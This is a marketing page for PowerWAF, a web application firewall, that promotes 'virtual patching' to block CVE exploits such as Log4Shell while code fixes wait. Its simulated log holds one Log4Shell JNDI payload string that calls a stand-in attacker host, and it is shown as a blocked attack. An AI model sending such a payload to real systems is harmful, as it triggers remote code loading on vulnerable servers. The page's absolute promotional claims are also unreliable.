The Patch Gap Is Your Biggest Risk
The average time to patch a critical vulnerability in production is 60+ days. During that window, your application is exposed to every attacker who reads the CVE advisory. Automated exploit tools appear within hours of disclosure. Your security team knows about the vulnerability, but the fix is stuck in QA, waiting for a deployment window, or blocked by dependency conflicts.
60+ days average time for organizations to patch critical vulnerabilities in production applicationsVirtual patching closes this gap immediately. By blocking the specific exploit pattern at the WAF layer, you eliminate the risk while the code fix follows its normal development lifecycle — no emergency deployments, no skipped testing, no weekend war rooms.
The Vulnerabilities Virtual Patching Addresses
Five categories of vulnerabilities that virtual patching shields instantly.
Known CVE Exploitation
Published vulnerabilities with documented exploit techniques that automated tools target within hours of disclosure.
CVE-2021-44228 (Log4Shell), CVE-2022-22965 (Spring4Shell)Zero-Day Window Attacks
The critical period between CVE disclosure and patch deployment when your application is most vulnerable.
Day 0: CVE published → Day 60: Patch deployedDependency Exploits
Vulnerabilities in third-party libraries, frameworks, and packages that your application depends on.
jackson-databind, Apache Commons, jQuery, lodashLegacy App Vulnerabilities
Flaws in applications running on EOL frameworks where vendor patches will never be released.
PHP 5.x, Java 8 (EOL), Python 2.7, Ruby 2.5Plugin & Extension Flaws
Vulnerabilities in CMS plugins, WordPress themes, and application extensions that you don’t control.
WordPress plugin SQLi, Magento extension RCEHow PowerWAF Virtual Patching Works
Five capabilities that close the patch gap instantly.
Instant CVE Shielding
Pre-built virtual patches for major CVEs are available in the rule library. Activate protection with one click — no custom rule writing needed.
Custom Virtual Patches
Create targeted rules for your specific application vulnerabilities. Define the exploit pattern, the affected endpoint, and the blocking action.
Automatic Rule Updates
PowerWAF’s threat intelligence team continuously publishes virtual patches for newly disclosed CVEs. Your protection updates automatically.
Zero-Downtime Deployment
Virtual patches activate instantly at the WAF layer. No application restart, no deployment pipeline, no maintenance window required.
Vulnerability-Specific Blocking
Each virtual patch targets the exact exploit pattern — not broad rules that cause false positives. Legitimate traffic is never affected.
Protected in Minutes, Not Months
No code changes. No QA cycles. No deployment risk.
Point DNS
Route traffic through PowerWAF. Your application runs unchanged behind the proxy.
Activate Patches
Enable pre-built virtual patches for known CVEs or create custom rules for your specific vulnerabilities.
Monitor & Iterate
Dashboard shows blocked exploit attempts, patch effectiveness, and vulnerabilities still requiring code fixes.
Virtual patches give your dev team the time to fix vulnerabilities properly — without the pressure of an active exploit window.
See PowerWAF in Action
Real-time view of CVE exploit attempts being blocked by virtual patches.
${jndi:ldap://evil.com/a} in User-AgentSimulated log showing virtual patches blocking CVE exploit attempts while legitimate traffic passes through.
Proven Protection at Scale
Real-World Scenarios
Legacy Java Application
A Java EE application running on Tomcat 8 uses Log4j 2.14 and Jackson-databind 2.9. Upgrading requires extensive regression testing. PowerWAF deploys virtual patches for Log4Shell, deserialization CVEs, and known Struts vulnerabilities — providing immediate protection while the upgrade is planned.
WordPress with Outdated Plugins
A WordPress site uses 30+ plugins, several with known SQLi and XSS vulnerabilities. Plugin authors are slow to release patches. PowerWAF virtually patches each vulnerable endpoint, blocking exploit attempts without removing the plugins or waiting for updates.
Compliance Deadline Pressure
A PCI DSS audit identifies critical vulnerabilities that must be remediated within 30 days. The code fix will take 6 weeks. PowerWAF’s virtual patches provide immediate compliance-level protection, satisfying auditor requirements while the permanent fix progresses through QA.
Works with any web platform
Frequently Asked Questions
What is virtual patching?
How is virtual patching different from actual patching?
Can virtual patching protect against zero-days?
Does it work for WordPress plugins?
How quickly can a virtual patch be deployed?
Is virtual patching a permanent solution?
Explore More WAF Protection
PowerWAF covers the full OWASP Top 10.
Close the Patch Gap Today
No credit card required. No code changes. Set up in under 5 minutes.
Limited free plan spots available